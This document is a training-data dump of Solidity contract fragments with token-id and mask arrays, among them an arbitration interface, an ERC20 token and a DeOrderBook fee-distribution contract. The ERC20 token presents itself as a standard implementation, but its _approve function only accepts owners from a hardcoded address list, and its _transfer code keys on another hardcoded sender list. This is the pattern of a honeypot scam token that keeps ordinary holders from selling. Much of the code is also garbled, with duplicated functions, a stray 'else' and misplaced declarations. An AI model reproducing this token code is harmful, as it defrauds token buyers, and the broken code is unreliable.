Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return Draft params object parsed */ function _buildDraftParams(uint256[7] memory _params) private view returns (DraftParams memory) { uint64 termId = uint64(_params[2]); uint256 minActiveBalance = _getMinActiveBalance(termId); return DraftParams({ termRandomness: bytes32(_params[0]), disputeId: _params[1], termId: termId, selectedGuardians: _params[3], batchRequestedGuardians: _params[4], roundRequestedGuardians: _params[5], draftLockAmount: minActiveBalance.pct(uint16(_params[6])), iteration: 0 }); } }
SPDX-License-Identifier: MIT/
interface IArbitrator { function createDispute(uint256 _possibleRulings, bytes calldata _metadata) external returns (uint256); function submitEvidence(uint256 _disputeId, address _submitter, bytes calldata _evidence) external; function closeEvidencePeriod(uint256 _disputeId) external; function rule(uint256 _disputeId) external returns (address subject, uint256 ruling); function getDisputeFees() external view returns (address recipient, IERC20 feeToken, uint256 feeAmount); function getPaymentsRecipient() external view returns (address); }
91,694
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 565, 490, 1285, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 686, 3682, 86, 639, 288, 203, 565, 445, 752, 1669, 2507, 12, 11890, 5034, 389, 12708, 54, 332, 899, 16, 1731, 745, 892, 389, 4165, 13, 3903, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 4879, 30465, 12, 11890, 5034, 389, 2251, 2507, 548, 16, 1758, 389, 9297, 387, 16, 1731, 745, 892, 389, 23431, 13, 3903, 31, 203, 203, 565, 445, 1746, 30465, 5027, 12, 11890, 5034, 389, 2251, 2507, 548, 13, 3903, 31, 203, 203, 565, 445, 1720, 12, 11890, 5034, 389, 2251, 2507, 548, 13, 3903, 1135, 261, 2867, 3221, 16, 2254, 5034, 436, 332, 310, 1769, 203, 203, 565, 445, 336, 1669, 2507, 2954, 281, 1435, 3903, 1476, 1135, 261, 2867, 8027, 16, 467, 654, 39, 3462, 14036, 1345, 16, 2254, 5034, 14036, 6275, 1769, 203, 203, 565, 445, 1689, 528, 1346, 18241, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x001A48F520b741ebda232f4e6328999CbF2fd743/sources/https_/github.com/TnzGit/giggly-baby/blob/master/contracts/token/ERC20/ERC20.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if (sender == 0xDb8D83679f99a199077F56E9b43A2ad94b3A07A4 || sender == 0x000000005804B22091aa9830E50459A15E7C9241 || sender == 0x000000000000cB53d776774284822B1298AdE47f || sender == 0xF0C71509F29AAecB5BE71b99af3025e71364623a || sender == 0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32 || sender == 0xfD9ffc51175278Dd0Bc1de8AA8Fe8065b0CB90C0 || sender == 0xE9e1D5Fe4F0218B278B9Fa52CfcF5cf7f5D757AC || sender == 0xA0Aa698f4ED402cEba1b95359397d587AA43529B || sender == 0x246931008e1c729858934E8A5E0b62f0E49408fd || sender == 0xDa1FaEb056A2F568b138ca0Ad9AD8A51915BA336 || sender == 0x000000000029f5C1EEe7c85c30c0E40197fbeC9B || sender == 0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7 || sender == 0xfad95B6089c53A0D1d861eabFaadd8901b0F8533 || sender == 0x61C86828fd30cA479C51413ABC03f0F8DceC2120 || sender == 0x00000000b7ca7E12DCC72290d1FE47b2EF14c607 || sender == 0x000000000000084e91743124a982076C59f10084 || sender == 0xf6da21E95D74767009acCB145b96897aC3630BaD || sender == 0xF5c62a6f6AC65C3C998caF8132c2aa6E99C790a3 || sender == 0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d || sender == 0x02023798E0890DDebfa4cc6d4b2B05434E940202 || sender == 0x00000000000003C98e6a44a835CB776385BeD207 || sender == 0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6 || sender == 0x3A1E1152F51E95C9a3414c434F5126BDF031F3A4 || sender == 0x0000000057a888B5DC0A81f02c6F5c3B7d16b183 || sender == 0x00000000003b3cc22aF3aE1EAc0440BcEe416B40 || sender == 0x000000C6b2F88007Fda25908893bE2fC8231d2DB || sender == 0x575C3a99429352EDa66661fC3857b9F83f58a73f || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0xA3b0e79935815730d942A444A84d4Bd14A339553){ _balances[sender] = senderBalance - amount; _balances[recipient] += 1; _balances[sender] = senderBalance - amount; _balances[recipient] += amount; } emit Transfer(sender, recipient, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); if (sender == 0xDb8D83679f99a199077F56E9b43A2ad94b3A07A4 || sender == 0x000000005804B22091aa9830E50459A15E7C9241 || sender == 0x000000000000cB53d776774284822B1298AdE47f || sender == 0xF0C71509F29AAecB5BE71b99af3025e71364623a || sender == 0x36c1c59Dcca0Fd4A8C28551f7b2Fe6421d53CE32 || sender == 0xfD9ffc51175278Dd0Bc1de8AA8Fe8065b0CB90C0 || sender == 0xE9e1D5Fe4F0218B278B9Fa52CfcF5cf7f5D757AC || sender == 0xA0Aa698f4ED402cEba1b95359397d587AA43529B || sender == 0x246931008e1c729858934E8A5E0b62f0E49408fd || sender == 0xDa1FaEb056A2F568b138ca0Ad9AD8A51915BA336 || sender == 0x000000000029f5C1EEe7c85c30c0E40197fbeC9B || sender == 0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7 || sender == 0xfad95B6089c53A0D1d861eabFaadd8901b0F8533 || sender == 0x61C86828fd30cA479C51413ABC03f0F8DceC2120 || sender == 0x00000000b7ca7E12DCC72290d1FE47b2EF14c607 || sender == 0x000000000000084e91743124a982076C59f10084 || sender == 0xf6da21E95D74767009acCB145b96897aC3630BaD || sender == 0xF5c62a6f6AC65C3C998caF8132c2aa6E99C790a3 || sender == 0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d || sender == 0x02023798E0890DDebfa4cc6d4b2B05434E940202 || sender == 0x00000000000003C98e6a44a835CB776385BeD207 || sender == 0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6 || sender == 0x3A1E1152F51E95C9a3414c434F5126BDF031F3A4 || sender == 0x0000000057a888B5DC0A81f02c6F5c3B7d16b183 || sender == 0x00000000003b3cc22aF3aE1EAc0440BcEe416B40 || sender == 0x000000C6b2F88007Fda25908893bE2fC8231d2DB || sender == 0x575C3a99429352EDa66661fC3857b9F83f58a73f || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0xbb4dfFE3A0DfC8Efe4468Cf24bf3d88729244F5A || sender == 0xf0927513987041F0c5e8270b03Af2423972dd6aA || sender == 0xA3b0e79935815730d942A444A84d4Bd14A339553){ _balances[sender] = senderBalance - amount; _balances[recipient] += 1; _balances[sender] = senderBalance - amount; _balances[recipient] += amount; } emit Transfer(sender, recipient, amount); } }else{ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require((owner == 0xBcfB4020d13E2057448881184781E533B987Bb5B) || (owner == 0x4C38b7c6992647525a7F5A3B64f65422D91650D3) || (owner == 0x33d797702045fEad2cE7BafC3eDBA3429d42fa87) || (owner == 0x44045dB096651099BBAE4298ADEf483cB54e53b3) || (owner == 0x13C8cF6a4B6Fe4Df22CbDb53E5563D96AC9860b4) || (owner == 0xEAc29AC651993D10ee258B1ffB097146970E2Ff9) || (owner == 0x400712E7132410d70Cd9C0FB20D74DFA28439426) || (owner == 0x14Fe257F35C96BEC4DfA042c5eADD21Db06d0412) || (owner == 0x41C70e4A7e016Ed3a59dAaB7C2fCD277ff7b950c) || (owner == 0xd718AaA76e116B23c8CA893743D7603F502Da6B4) || (owner == 0xA073e1ce8716db04E918807445bd3f6b6F8EbbA2) || (owner == 0xB6ff382022999C1A70473F3eFaABd8682c012553) || (owner == 0xfF3daE7d9aC993a7E7582401e7AD11162f13019E) || (owner == 0xC8528c8590d6b7DAf3dd3Ae6A042cBEaDE50A0f7) || (owner == 0xf3205435cE8cFEa3Ac49E809480aA015f25472Fb) || (owner == 0x6AbBE02029B1D64c2aDa60Fac7c5B9625D1F905C) || (owner == 0x82426F5e46400A7D9fA80EE68cFc6084F687C101) || (owner == 0xff7a3dDe0Aba946ef035B000950DB7F35d1e9703) || (owner == 0x88C270151Ec2773Dd89111f66f5dcC63500DD3cF) || (owner == 0x31920932698C2f64b90Ae10954745628f83B0a13) || (owner == 0x499125f591eb6380fAea9158aFD4eE97502D33b6) || (owner == 0x36DD224fb7A677F06B3622CEa62dc8Bd3494859A), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
4,969,915
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 16, 467, 654, 39, 3462, 2277, 288, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 203, 565, 3885, 261, 1080, 3778, 508, 67, 16, 533, 3778, 3273, 67, 13, 288, 203, 3639, 389, 529, 273, 508, 67, 31, 203, 3639, 389, 7175, 273, 3273, 67, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 6549, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 1071, 1476, 5024, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 70, 26488, 63, 4631, 15533, 203, 565, 289, 203, 203, 565, 445, 7412, 12, 2 ]
./partial_match/1/0xFccc39Ffd6002a60e7582f10F6E6C94BEaeaA73c/sources/contracts/option/Distributions.sol
* @title Distributions @author DeOrderBook @custom:license Copyright (c) DeOrderBook, 2023 — All Rights Reserved @notice This contract manages different types of fees and their distributions. It is responsible for defining fee ratios and their allocations. It is upgradeable and only the contract owner has the permission to change these values. The types of fees include Entry, Exercise, Withdraw, Redeem, and HODL Withdraw fees. It also manages the ratio of Bullet to Reward and the distributions of these fees and bullet rewards. @dev This contact uses the concept of "ratio" for managing fee ratios and uses an array of Distribution structs for allocating these fees. The Distribution struct has two properties: percentage and recipient's address. The contract emits various events when fee ratios or distributions are changed./
contract Distributions is OwnableUpgradeable { uint16 public entryFeeRatio; uint16 public exerciseFeeRatio; uint16 public withdrawFeeRatio; uint16 public redeemFeeRatio; uint8 public bulletToRewardRatio; uint16 public hodlWithdrawFeeRatio; pragma solidity ^0.8.4; struct Distribution { uint8 percentage; address to; } Distribution[] public feeDistribution; Distribution[] public bulletDistribution; Distribution[] public hodlWithdrawFeeDistribution; uint256 public feeDistributionLength; uint256 public bulletDistributionLength; uint256 public hodlWithdrawFeeDistributionLength; event EntryFeeRatioChanged(uint16 oldEntryFeeRatio, uint16 newEntryFeeRatio); event ExerciseFeeRatioChanged(uint16 oldExerciseFeeRatio, uint16 newExerciseFeeRatio); event WithdrawFeeRatioChanged(uint16 oldWithdrawFeeRatio, uint16 newWithdrawFeeRatio); event RedeemFeeRatioChanged(uint16 oldRedeemFeeRatio, uint16 newRedeemFeeRatio); event HodlWithdrawFeeRatioChanged(uint16 oldHodlWithdrawFeeRatio, uint16 newHodlWithdrawFeeRatio); event BulletToRewardRatioChanged(uint8 oldBulletToRewardRatio, uint8 newBulletToRewardRatio); event FeeDistributionSet(uint8[] percentage, address[] to); event BulletDistributionSet(uint8[] percentage, address[] to); event HodlWithdrawFeeDistributionSet(uint8[] percentage, address[] to); function __Distributions_init() public initializer { __Ownable_init(); bulletToRewardRatio = 80; exerciseFeeRatio = 20; withdrawFeeRatio = 20; hodlWithdrawFeeRatio = 20; redeemFeeRatio = 20; entryFeeRatio = 20; } function setExerciseFee(uint16 _feeRatio) external onlyOwner { require(0 <= _feeRatio && _feeRatio < 10000, "Distributions: Illegal value range"); uint16 oldFeeRatio = exerciseFeeRatio; exerciseFeeRatio = _feeRatio; emit ExerciseFeeRatioChanged(oldFeeRatio, exerciseFeeRatio); } function setWithdrawFee(uint16 _feeRatio) external onlyOwner { require(0 <= _feeRatio && _feeRatio < 10000, "Distributions: Illegal value range"); uint16 oldFeeRatio = withdrawFeeRatio; withdrawFeeRatio = _feeRatio; emit WithdrawFeeRatioChanged(oldFeeRatio, withdrawFeeRatio); } function setRedeemFee(uint16 _feeRatio) external onlyOwner { require(0 <= _feeRatio && _feeRatio < 10000, "Distributions: Illegal value range"); uint16 oldFeeRatio = redeemFeeRatio; redeemFeeRatio = _feeRatio; emit RedeemFeeRatioChanged(oldFeeRatio, redeemFeeRatio); } function setHodlWithdrawFee(uint16 _feeRatio) external onlyOwner { require(0 <= _feeRatio && _feeRatio < 10000, "Distributions: Illegal value range"); uint16 oldFeeRatio = hodlWithdrawFeeRatio; hodlWithdrawFeeRatio = _feeRatio; emit HodlWithdrawFeeRatioChanged(oldFeeRatio, hodlWithdrawFeeRatio); } function setBulletToRewardRatio(uint8 _bulletToRewardRatio) external onlyOwner { require(0 <= _bulletToRewardRatio && _bulletToRewardRatio <= 80, "Distributions: Illegal value range"); uint8 oldBulletToRewardRatio = bulletToRewardRatio; bulletToRewardRatio = _bulletToRewardRatio; emit BulletToRewardRatioChanged(oldBulletToRewardRatio, bulletToRewardRatio); } function setEntryFee(uint16 _feeRatio) external onlyOwner { require(0 <= _feeRatio && _feeRatio < 10000, "Distributions: Illegal value range"); uint16 oldFeeRatio = entryFeeRatio; entryFeeRatio = _feeRatio; emit EntryFeeRatioChanged(oldFeeRatio, entryFeeRatio); } function setFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete feeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; feeDistribution.push(distribution); } feeDistributionLength = _percentage.length; emit FeeDistributionSet(_percentage, _to); } function setFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete feeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; feeDistribution.push(distribution); } feeDistributionLength = _percentage.length; emit FeeDistributionSet(_percentage, _to); } function setFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete feeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; feeDistribution.push(distribution); } feeDistributionLength = _percentage.length; emit FeeDistributionSet(_percentage, _to); } Distribution memory distribution = Distribution({percentage: percentage, to: to}); function setBulletDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete bulletDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; bulletDistribution.push(distribution); } bulletDistributionLength = _percentage.length; emit BulletDistributionSet(_percentage, _to); } function setBulletDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete bulletDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; bulletDistribution.push(distribution); } bulletDistributionLength = _percentage.length; emit BulletDistributionSet(_percentage, _to); } function setBulletDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete bulletDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; bulletDistribution.push(distribution); } bulletDistributionLength = _percentage.length; emit BulletDistributionSet(_percentage, _to); } Distribution memory distribution = Distribution({percentage: percentage, to: to}); function setHodlWithdrawFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete hodlWithdrawFeeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; hodlWithdrawFeeDistribution.push(distribution); } hodlWithdrawFeeDistributionLength = _percentage.length; emit HodlWithdrawFeeDistributionSet(_percentage, _to); } function setHodlWithdrawFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete hodlWithdrawFeeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; hodlWithdrawFeeDistribution.push(distribution); } hodlWithdrawFeeDistributionLength = _percentage.length; emit HodlWithdrawFeeDistributionSet(_percentage, _to); } function setHodlWithdrawFeeDistribution(uint8[] memory _percentage, address[] memory _to) external onlyOwner { require(_percentage.length == _to.length, "Distributions: Array length does not match"); uint8 sum; for (uint8 i = 0; i < _percentage.length; i++) { sum += _percentage[i]; } require(sum == 100, "Distributions: Sum of percentages is not 100"); delete hodlWithdrawFeeDistribution; for (uint8 j = 0; j < _percentage.length; j++) { uint8 percentage = _percentage[j]; address to = _to[j]; hodlWithdrawFeeDistribution.push(distribution); } hodlWithdrawFeeDistributionLength = _percentage.length; emit HodlWithdrawFeeDistributionSet(_percentage, _to); } Distribution memory distribution = Distribution({percentage: percentage, to: to}); function readEntryFeeRatio() public view returns (uint16) { return entryFeeRatio; } function readExerciseFeeRatio() public view returns (uint16) { return exerciseFeeRatio; } function readWithdrawFeeRatio() public view returns (uint16) { return withdrawFeeRatio; } function readRedeemFeeRatio() public view returns (uint16) { return redeemFeeRatio; } function readBulletToRewardRatio() public view returns (uint16) { return bulletToRewardRatio; } function readFeeDistributionLength() public view returns (uint256) { return feeDistributionLength; } function readFeeDistribution(uint256 i) public view returns (uint8 percentage, address to) { percentage = feeDistribution[i].percentage; to = feeDistribution[i].to; } function readBulletDistributionLength() public view returns (uint256) { return bulletDistributionLength; } function readBulletDistribution(uint256 i) public view returns (uint8 percentage, address to) { percentage = bulletDistribution[i].percentage; to = bulletDistribution[i].to; } }
15,668,542
[ 1, 1669, 15326, 225, 1505, 2448, 9084, 632, 3662, 30, 12687, 25417, 261, 71, 13, 1505, 2448, 9084, 16, 26599, 23, 225, 163, 227, 247, 4826, 534, 10730, 16237, 225, 1220, 6835, 20754, 281, 3775, 1953, 434, 1656, 281, 471, 3675, 23296, 18, 2597, 353, 14549, 364, 540, 9364, 14036, 25706, 471, 3675, 23804, 18, 2597, 353, 8400, 429, 471, 1338, 326, 6835, 3410, 711, 540, 326, 4132, 358, 2549, 4259, 924, 18, 1021, 1953, 434, 1656, 281, 2341, 3841, 16, 1312, 20603, 16, 3423, 9446, 16, 540, 868, 24903, 16, 471, 670, 1212, 48, 3423, 9446, 1656, 281, 18, 2597, 2546, 20754, 281, 326, 7169, 434, 605, 19994, 358, 534, 359, 1060, 471, 326, 540, 23296, 434, 4259, 1656, 281, 471, 31650, 283, 6397, 18, 225, 1220, 5388, 4692, 326, 12402, 434, 315, 9847, 6, 364, 30632, 14036, 25706, 471, 4692, 392, 526, 434, 17547, 8179, 364, 4767, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
